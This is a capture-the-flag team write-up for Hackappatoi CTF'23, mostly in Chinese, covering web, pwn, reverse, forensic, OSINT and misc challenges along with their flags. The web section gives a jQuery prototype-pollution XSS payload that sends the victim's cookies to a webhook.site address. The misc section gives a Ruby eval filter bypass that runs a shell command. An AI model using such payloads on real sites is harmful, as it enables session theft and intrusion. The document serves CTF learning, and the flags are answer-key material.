Hackappatoi CTF'23 CakeisTheFake Writeup

2024-02-29

Team: CakeisTheFake
Rank: 12/443

Web

Forza napolia

[name=whale120]

一個網站,分為兩部分,一個是回報連結然後會檢查是否來自他們的host,另一個則是可以透過url參數做查詢,有xss防護。
source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const bot = require("../bot");

function isValidUrl(url) {
let regex = /^(http|https):\/\/(www\.){0,1}forzanapoli.hackappatoi.com/i;
return regex.test(url) && !url.includes("@");
}

async function router(fastify, options) {
fastify.get("/", async (request, reply) => {
return reply.sendFile("index.html");
});

fastify.get("/share", async (request, reply) => {
return reply.sendFile("share.html");
});

fastify.post("/share", async (request, reply) => {
let { url } = request.body;
console.log("\nSHARE");
console.log("original url:", url);
if (url && typeof url == "string" && url != "") {
let valid = isValidUrl(url);
console.log("valid url:", valid);
if (valid) {
bot.checkUrl(url); // Set the cookies and visit url
return reply.view("/templates/success.ejs", { message: "The admin will check your link ASAP. Thanks!" });
} else {
return reply.view("/templates/success.ejs", { message: "Invalid URL! You are not a real Napoli fan 😡" });
}
}
return reply.code(400).type("text/html").view("/templates/error.ejs", {
code: 400,
message: "Missing parameters :(",
});
});

fastify.setNotFoundHandler((request, reply) => {
reply.code(404).type("text/html").view("/templates/error.ejs", {
code: 404,
message: "Page not found :(",
});
});
}

module.exports = () => {
return router;
};

賽中沒有做出來有點可惜,不過現在學會啦~~
參考jquery的這份弱點就可以透過proto pollution構造payload引發xss:
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
payload:

1
https://forzanapoli.hackappatoi.com/?__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=%3Cimg/src/onerror%3dfetch(%27//webhook.site/14e00053-0cc1-4bb0-b9d5-81cb05f1f1a4?1337%27%2Bbtoa(document.cookie))%3E&name=1

Pwn

Pizza Spaghetti Espresso

[name=whale120]

一個很另類的猜拳遊戲,而玩家必須完美十場全勝才可以拿shell
所有防護只有PARTIAL RELRO跟STACK CANARY不存在有弱點。
先把執行檔丟到ghidra:

image
image

此外,讀取的時候也都會乖乖只讀取十六個字元,也沒辦法利用前面說的弱點打Buffer Overflow之類的。
經過觀察,發現每次都是用時間作為種子產生rand(),這時就嘗試寫一個執行黨用相同方式產生亂數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include<stdlib.h>
#include<time.h>
void hack(int x){
if(x==0){
printf("Pizza\n");
}
if(x==1){
printf("Espresso\n");
}
if(x==2){
printf("Spaghetti\n");
}
}
int main(void) {
// your code goes here
//["Pizza", "Espresso", "Spaghetti"];
time_t t=time(0);
srand(((unsigned int)t));
for (int i=0;i<10;i++){
hack((rand()+1)%3);
}
return 0;
}

接著在本地同時執行:
./localpsehacker && ./pse
可以成功預測到最後並get shell,最後丟nc,remote的時候time_t值我有加一因為會有執行檔結束到連線之間的時間差。
./psehacker && nc 92.246.89.201 10001

image
image

Reverse

Thefourhorseman

[name=FlyDragon]

flag 就在 sub_11C9() 蠻無聊的

image
image

FLAG : hctf{youre_ready_to_stop_the_apocalypse}

Thefirsthorseman

[name=FlyDragon]

是個 .pyc 檔案,但 python 版本 > 3.9 不能用 uncompyle6,所以用 pycdc 還原成 .py 檔案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from time import sleep
import codecs
print("You've inserted the key you found on the mysterious Laptop and you've been teleported to a place you don't know.")
print('All you can see is an enormous door keeping a castle safe. You approach it and with a bit of fear proceed to open it.')
print('In the middle of the hall you see a funny man, it seems the court jester, but still he scares you.')
print("'SHISH, SHISH' is the only thing he says, and now you realize he is the first horseman, ready to stop you from reaching further in your mission.")
print('The man walks towards you and tries to hit you multiple times! Avoid his punches!\n')

def shish():
exit("The funny man manages to hit you. You fall on the ground.\nYou don't remember anything. All you know now is a word...\nSHISH\n")

f = [
'r3st',
'4s_a',
'b3_c',
'm4tt',
'l3t_']
l = [
'4ll0',
'30_1',
'7t3_',
'jkin',
'p1ck']
a = [
'5_th',
'3_4n',
'1t_1',
'00p5',
'1n_1']
g = [
'p1_7',
'3_w0',
't0g3',
'00_k',
'n0th']
s = [
'ear5',
'k!1!',
'1n6!',
'33p5',
'rd_!']
counter = 0
indexes = []

def print_flag():
flag = ''
flag += f[indexes[0]]
flag += l[indexes[1]]
flag += a[indexes[2]]
flag += g[indexes[3]]
flag += s[indexes[4]]
flag = 'upgs{' + flag + '}'
flag = codecs.encode(flag, 'rot13')
print(flag)


try:
for t in range(1, 6):
print(f'''{t}...''')
counter = t
sleep(1)
shish()
finally:
pass
except KeyboardInterrupt:
if counter == 4:
print('\nYou dodged it\n')
indexes.append(counter - 1)
else:
shish()



try:
for t in range(1, 6):
print(f'''{t}...''')
counter = t
sleep(1)
shish()
finally:
pass
except KeyboardInterrupt:
if counter == 2:
print('\nYou dodged it\n')
indexes.append(counter - 1)
else:
shish()



try:
for t in range(1, 6):
print(f'''{t}...''')
counter = t
sleep(1)
shish()
finally:
pass
except KeyboardInterrupt:
if counter == 1:
print('\nYou dodged it\n')
indexes.append(counter - 1)
else:
shish()



try:
for t in range(1, 6):
print(f'''{t}...''')
counter = t
sleep(1)
shish()
finally:
pass
except KeyboardInterrupt:
if counter == 2:
print('\nYou dodged it\n')
indexes.append(counter - 1)
else:
shish()



try:
for t in range(1, 6):
print(f'''{t}...''')
counter = t
sleep(1)
shish()
finally:
pass
except KeyboardInterrupt:
if counter == 5:
print('\nYou dodged it\n')
indexes.append(counter - 1)
else:
shish()


print('The man is tired, he just hands you a slip of paper, to open the next door.\nThis is what you read')
print_flag()
print("The man then says his last words...\n 'https://youtu.be/XH0CSzdHwg0?si=DOwRhOnorrc-WWIx'")

FLAG: hctf{z4gg30_15_gu3_j0eq_!}

Thesecondhorseman

[name=FlyDragon]

把判斷 patch 掉就好,忘記留原始檔案ㄌQQ

FLAG: hctf{www.youtube.com/watch?v=hnBuaJDNagU}

Thefinalhorseman

[name=FlyDragon]

輸出的方式是 flag 拆成很多個 function,直接去偷

image
image

FLAG: hctf{https://youtu.be/vXejrAXXmkU}

Una quotidiana guerra

給了一個滿滿毒瘤#define的怪異source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define tu int
#define dimmi
#define come
#define mai
#define kilometri
#define melodia
#define sus
#define inutile
#define inutilestimai
#define qui
#define seduto
#define notti
#define alla
#define sento
#define sogno
#define pregando
#define non
#define scrivere
#define ma
#define casa
#define vedere
#define dove
#define vai
notti quotidiana inutile inutilestimai alla "abcdefghijklmnopqrstuvwxyz.:_-=/{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" sus
notti guerra inutile inutilestimai alla "HDVIC8tq8}Es/{-}JOPJAHHJQ.=Y5rAHJWEtRgSc" sus
tu stanza come notti finiscono mai qui
sogno come tu i alla 0 sus i non pregando come quotidiana mai sus i scrivere mai qui
ma come finiscono casa quotidiana inutile i inutilestimai mai qui
melodia i sus
seduto seduto
melodia 0 sus seduto
sento bambino come mai qui
sogno come tu i alla 0 sus i non pregando come guerra mai sus i scrivere mai qui
guerra inutile i inutilestimai alla quotidiana inutile come stanza come guerra inutile i inutilestimai mai vedere pregando come quotidiana mai dove i mai vai pregando come quotidiana mai inutilestimai sus seduto
kilometri come "%s\n", guerra mai sus seduto
tu dimmi come mai qui
kilometri come "Kilometri di kilometri di kilometri di kilometri\n" mai sus
bambino come mai sus
melodia 0 sus seduto

大概可以通靈一下之後發現結尾的sus是分號,一開始定義charset的notti是char,然後緊接著的inutile inutilestimai alla 分別應該是[]=,再從sus和0的出現位置猜測有for迴圈,sogno come tu i alla 0for(int i=0等等的,即可還原程式碼。
還原結果:
(中間有改一些東西因為本來flag只會跑到一半qq)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char quotidiana [ ] = "abcdefghijklmnopqrstuvwxyz.:_-=/{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;
char guerra [ ] = "HDVIC8tq8}Es/{-}JOPJAHHJQ.=Y5rAHJWEtRgSc" ;
int stanza ( char finiscono ) {
for ( int i = 0 ; i < strlen ( quotidiana ) ; i ++ ) {
if ( finiscono == quotidiana [ i ] ) {
return i ;
} }
return 0 ; }
void bambino ( ) {
for ( int i = 0 ; i < strlen ( guerra ) ; i ++ ) {
guerra [ i ] = quotidiana [ ( stanza ( guerra [ i ] ) + strlen ( quotidiana ) - i ) % strlen ( quotidiana ) ] ;
printf("%d\n", i);
}
printf ( "%s\n", guerra ) ; }
int main ( ) {
printf ( "Kilometri di kilometri di kilometri di kilometri\n" ) ;
bambino ( ) ;
return 0 ; }

Forensic

The Enzo’s piece

[name=naup96321]

他給了你一個Minecraft地圖檔,並且提敘說有人身體不好,然後他在那個位置有留下東西,所以我猜測他應該是要想辦法查出那個玩家的上次死亡座標。
如果要查到其他玩家上次的死亡座標的話可以使用NBTExplorer
https://sourceforge.net/projects/nbtexplorer.mirror/

你可以對該地圖檔進行操作,其中包括可以在playerdata中找到最新一次的死亡位置

image
image

位置在-1122 52 -340

image
image

直接走過去就可以拿到flag了

image
image

這題我那時候用tp會讓告示牌被破壞,所以我是用走的,另外記得要開1.20.2

FLAG : HCTF{Th3_On3_P13c3_Is_R34l!!!}

OSINT

Why Not?(Naples)

[name=naup96321]

他給了一個影片要我找這是哪間hotel
https://www.youtube.com/watch?v=ugzma5lx910
透過他的影片跟提敘發現有3個線索,分別是Justin Bieber、Napoli跟這部影片 https://www.youtube.com/watch?v=o9nrxDeUss4&t=428s

之後我查到了新聞發現他在Grand Hotel Vesuvio。
另外也可以透過線索的影片找到他的名字

未命名
未命名

FLAG : hctf{Grand_Hotel_Vesuvio}

Italian mails(Origins)

[name=naup96321]

這題給了一個影片,要我找到這條街的名字
https://www.youtube.com/watch?v=rNta7FLxq8s

從中可以看到一個蠻明顯的線索post italiane

image
image

並且我嘗試尋找其他影片->關鍵字:Enzo Tommasi
找到了他在Ostia
image
image

最後用google map 尋找Ostia的post italiane,用街景最終確定在Via Ferdinando Acton 44

image
image

FLAG : hctf{Via_Ferdinando_Acton_44}

The meninges

[name=naup96321]

Flag : hctf{Viale_della_Stella_Polare}

Telecamere?

[name=naup96321]

Flag : hctf{Via_San_Biagio_di_Val_Polcevera_Genova}

The third horseman

[name=naup96321]

Flag :

Sunkissed Enzo

[name=naup96321]

Flag : hctf{via_della_tolda}

Misc

Ghost Image

[name=naup96321]

直接將他給的兩層CSS調透明度疊圖就可以看到flag了

image
image

image
image

Flag : HCTF{M4MMAMIA_SO_M4NY_SHADOW8OXES_IN_TH1S_CSS}

Escape from italy

[name=naup96321]

嘗試去看flag.txt他叫我們去讀key,去讀key後發現他輸出key是guera,然後她告訴我有東西在port 8889,所以我嘗試連過去

image
image

首先他要我們輸入key,之後可以輸入command,但很多東西都被過濾掉了,所以我嘗試測試有哪些是可以用的

image
image

最後發現可以用eval、數字、以及一些符號,所以我嘗試去研究ruby的一些特性(因為報錯是ruby的),後來發現<<可以用來連接字串,且將數字寫入到字串會轉ASCII
最後我的payload

1
eval(''<<115<<121<<115<<116<<101<<109<<40<<39<<99<<97<<116<<32<<102<<108<<97<<103<<39<<41)

Flag : HCTF{1s_d1z_r34l1ty_0r_F1c710n?}

Cornetto Compression

[name=naup96321]

根據他的範例我知道了他用了特殊的方法將所有圖片疊成一張,只要使用stegonline就可以一張一張的分離出來,最後拼在一起就是

image
image

Flag : HCTF{W3LL_DONE_M4TE_C1CCI0G4M3R_IS_PROUD_0F_YOU_N3XT_TIM3_BRING_M3_A_CORNETO_WITH_NUTELL4}